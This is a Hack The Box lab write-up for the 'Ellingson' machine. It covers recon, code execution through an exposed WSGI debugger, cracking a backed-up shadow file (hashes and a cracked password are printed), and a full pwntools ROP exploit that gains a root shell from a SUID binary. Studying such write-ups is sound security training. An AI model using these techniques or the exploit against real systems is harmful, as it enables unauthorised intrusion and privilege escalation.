Welcome to another HTB writeup. I did this machine a while ago but never had time post this, so here we go!
Let's start with a basic nmap scan:
root@kali:~/Desktop/htb/Ellingson# nmap -sC -sV -o TCP_scan 10.10.10.139
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-15 12:10 EET
Nmap scan report for ellingson.htb (10.10.10.139)
Host is up (0.13s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)
| 256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)
|_ 256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was http://ellingson.htb/index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.12 seconds
We explore a simple website and run a dirbuster scan that reveals nothing interesting, a hint in /articles/2 tells us that they implemented a protection against bruteforce attacks, so no need to go deeper this way.
Let's try /articles/99999 to see if we have something... And yes we get an error page!
The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error.
[...snip...]
You can execute arbitrary Python code in the stack frames and there are some extra helpers available for introspection: • dump( ) shows all variables in the frame • dump(obj ) dumps all that's known about the object
Looks like they are using [WSGI], which is running with python, and someone forgot to turn off the debugger, sweet! We can execute commands in the debugger:
import os,subprocess;
val = subprocess.check_output("ls -la", shell=True);
print(val);
And here we already have our foothold in the machine, we simply append our public ssh key to the authorized_keys in hal /.ssh folder and we login as hal:
root@kali:~/Desktop/htb/Ellingson# ssh -i id_rsa hal@10.10.10.139
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.1 ITS (GNU/Linux 4.15.0-46-generic 086 64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Oct 11 12:16:33 UTC 2019
System load: 0.0 Processes: 98
Usage of /: 23.6% of 19.56GB Users logged in 0
Memory usage: 13% IP address for ens33: 10.10.10.139
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
163 packages can be updated.
80 updates are security updates.
Last login: Sun Mar 11 11:23:12 2019 from 192.168.1.211
hal@ellingson:—$
We enumerate the machine a little bit and find shadow.bak
in /var/backups:
hal@ellingson:/var/backups$ cat shadow.bak
root:*:17737:0:99999:7:::
daemon:*:17737:0:99999:7:::
bin:*:17737:0:99999:7:::
sys:*:17737:0:99999:7:::
sync:*:17737:0:99999:7:::
games:*:17737:0:99999:7:::
man:*:17737:0:99999:7:::
lp:*:17737:0:99999:7:::
mail:*:17737:0:99999:7:::
news:*:17737:0:99999:7:::
uucp:*:17737:0:99999:7:::
proxy:*:17737:0:99999:7:::
www-data:*:17737:0:99999:7:::
backup:*:17737:0:99999:7:::
list:*:17737:0:99999:7:::
irc:*:17737:0:99999:7:::
gnats:*:17737:0:99999:7:::
nobody:*:17737:0:99999:7:::
systemd-network:*:17737:0:99999:7:::
systemd-resolve:*:17737:0:99999:7:::
syslog:*:17737:0:99999:7:::
messagebus:*:17737:0:99999:7:::
_apt:*:17737:0:99999:7:::
lxd:*:17737:0:99999:7:::
uuidd:*:17737:0:99999:7:::
dnsmasq:*:17737:0:99999:7:::
landscape:*:17737:0:99999:7:::
pollinate:*:17737:0:99999:7:::
sshd:*:17737:0:99999:7:::
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::
hal@ellingson:/var/backups$
By using unshadow
binary, we combine the shadow.bak with /etc/passwd and proceed to crack it using john with rockyou.txt wordlist, which takes a while but still gets us credentials:
unshadow ./passwd ./shadow.back > hash
root@kali:~/Desktop/HTB/boxes/ellingson# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
iamgod$08 (margo)
1g 0:01:22:03 DONE (2019-09-13 11:43) 0.3234g/s 341.5p/s 321.5c/s 341.5C/s zangief..elisha
Use the "--show" option to display all of the cracked passwords reliably
Session completed
We find credentials for theplague user but fails to login. However we also have credentials for user margo and pivot as this user:
root@kali:~/Desktop/htb/Ellingson# ssh margo@10.10.10.139
margo@10.10.10.139s password:
\Welcome to Ubuntu 18.04.1 ITS (GNU/Linux 4.15.0-46-generic x86 64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Oct 17 10:12:34 UTC 2019
System load: 0.14 Processes: 103
Usage of /: 21.5% of 19.56GB Users logged in 1
Memory usage: 26% IP address for ens33: 10.10.10.139
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
163 packages can be updated.
80 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Mar 11 21:11:38 2019 from 192.168.1.211
margo@ellingson:~$
With our new user we proceed to some simple enumeration and we find a weird [SUID] binary called garbage in /usr/bin/, which immediately reveals itself to be vulnerable to a buffer overflow:
margo@ellingson:~$ /usr/bin/garbage
Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
access denied.
Segmentation fault (core dumped)
margo@ellingson:~$
At this point we already know that this is the correct attack vector we will exploit to obtain root on this box. We download this binary with scp
and analyze it locally to develop an exploit.
We also verify if ASLR is enabled in this box, which is, and in Full Randomization Mode:
margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space
2
Simple checkup of security properties of this executable:
root@kali:~/Desktop/htb/Ellingson# file garbage
garbage: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not stripped
root@kali:~/Desktop/htb/Ellingson# checksec ./garbage
[*] '/root/Desktop/htb/Ellingson/garbage'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
We have NX enabled, which basically prevents us from executing code on the stack. We will have to work around the ASLR and NX to get our successful exploit.
In order to do that, we will use a technique called Return Oriented Programming (ROP). Simply put, it's a technique similar to ret2libc
but we will have to build a chain of called 'gadgets' that we will use to create our malicious code, which finality is to call system('/bin/sh')
to get our shell as root.
Let's start by download the libc shared object from the victims machine to help us obtain offsets for later calculations:
root@kali:~/Desktop/htb/Ellingson# scp margo@ellingson.htb:/lib/x86_64-linux-gnu/libc.so.6 ./
margo@ellingson.htb's password:
libc.so.6 100% 1983KB 211.3KB/s 00:08
We create a pattern to leak the address of libc and found it to be 136 bytes.
root@kali:~/Desktop/htb/Ellingson# /usr/share/metasploit-framework/tools/pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2
[...snip...]
root@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb Ad7Ad8Ad9Ae
[*] Exact match at offset 136
We now know that we will send our first 136 bytes to get the address of rip
register and overwrite it with our first gadget.
By analyzing the binary we also find a password, but it reveals to be useless when using it with the binary, we will still take note and keep it for later if we ever need it.
Let's start coding our exploit with pwntools
:
#!/usr/bin/env python
from pwn import *
#import os
#import subprocess
#import struct
s = ssh("margo", "10.10.10.139", 22, "iamgod$08")
s.checksec()
context(terminal=['tmux','new-window'])
p = s.process('/usr/bin/garbage')
context(os='linux',arch='amd64')
context.log_level = 'DEBUG'
password = "N3veRF3@r1iSh3r3!"
junk = password + "A"*(136-17) #17 is size of password<
We also need the addresses of the Procedural Linkage Table (PLT) and Global Offset Table (GOT) in the binary:
root@kali:~/Desktop/htb/Ellingson# objdump -D ./garbage | grep puts
#401050: ff 25 d2 2f 00 00 jmpq *0x2fd2(%rip) # 404028 <puts@GLIBC_2.2.5>
We look out for out first gadget which will be pop rdi; ret
and save this address...
We continue analyzing the binary for the interesting addresses and we log them:
pop_rdi = p64(0x40179b) #pop rdi; ret
#0000000000401619 <main>:
main = p64(0x401619)
#readelf -s | grep func
#the commented code is the local libc.so.6
#libc_put = 0x71910
libc_put = 0x809c0
#libc_system = 0x449c0
libc_system = 0x4f440
#libc_setuid = 0xc7500
libc_setuid = 0xe5970
# strings -a -t x libc.so.6 | grep bin/sh
#string_binsh = 0x181519
string_binsh = 0x1b3e9a
We proceed to calculate the leaked address of puts
:
payload = junk + pop_rdi + puts_got + puts_plt + main
p.sendline(payload)
p.recvline()
p.recvline() #we receive 2 outputs...
leaked_puts = p.recvline()
leaked_puts = leaked_puts[-8:].strip().ljust(8,"\x00")
log.success("Leaked puts@GLIBC : 0x%x", u64(leaked_puts))
With our leaked address, we calculate the offset we need to call our system functions:
libc_base_addr = u64(leaked_puts) - libc_put
log.success("Libc base address 0x%x calculated from substracting leaked puts from libc puts (readelf -s)", libc_base_addr)
sys = p64(libc_base_addr + libc_system)
setuid = p64(libc_base_addr + libc_setuid)
sh = p64(libc_base_addr + string_binsh)
log.success("Values of sys, setuid and string /bin/sh is : 0x%x, 0x%x, 0x%x", u64(sys),u64(setuid),u64(sh))
All is left to do is to sum this up to generate our final payload:
payload = junk + pop_rdi + null + setuid + pop_rdi + sh + sys
p.sendline(payload)
p.interactive()
And by executing our python script we obtain shell as root!
Here the complete exploit code I used:
#!/usr/bin/env python
from pwn import *
s = ssh("margo", "10.10.10.139", 22, "iamgod$08")
s.checksec()
context(terminal=['tmux','new-window'])
p = s.process('/usr/bin/garbage')
context(os='linux',arch='amd64')
context.log_level = 'DEBUG'
password = "N3veRF3@r1iSh3r3!"
junk = password + "A"*(136-17)
puts_plt = p64(0x401050)
puts_got = p64(0x404028)
pop_rdi = p64(0x40179b) #pop rdi; ret
null = p64(0x0)
main = p64(0x401619)
libc_put = 0x809c0
libc_system = 0x4f440
libc_setuid = 0xe5970
string_binsh = 0x1b3e9a
payload = junk + pop_rdi + puts_got + puts_plt + main
p.sendline(payload)
p.recvline()
p.recvline()
leaked_puts = p.recvline()
leaked_puts = leaked_puts[-8:].strip().ljust(8,"\x00")
log.success("Leaked puts@GLIBC : 0x%x", u64(leaked_puts))
libc_base_addr = u64(leaked_puts) - libc_put
log.success("Libc base address 0x%x calculated from substracting leaked puts from libc puts (readelf -s)", libc_base_addr)
sys = p64(libc_base_addr + libc_system)
setuid = p64(libc_base_addr + libc_setuid)
sh = p64(libc_base_addr + string_binsh)
log.success("Values of sys, setuid and string /bin/sh is : 0x%x, 0x%x, 0x%x", u64(sys),u64(setuid),u64(sh))
payload = junk + pop_rdi + null + setuid + pop_rdi + sh + sys
p.sendline(payload)
p.interactive()
To summarize, we start by finding an RCE on the webserver that gives us our initial shell as hal, then find a backup of the shadow file that we use to crack the credentials for margo user. We then find an SUID binary that we exploit using a ROP chain.
As always, thanks for reading!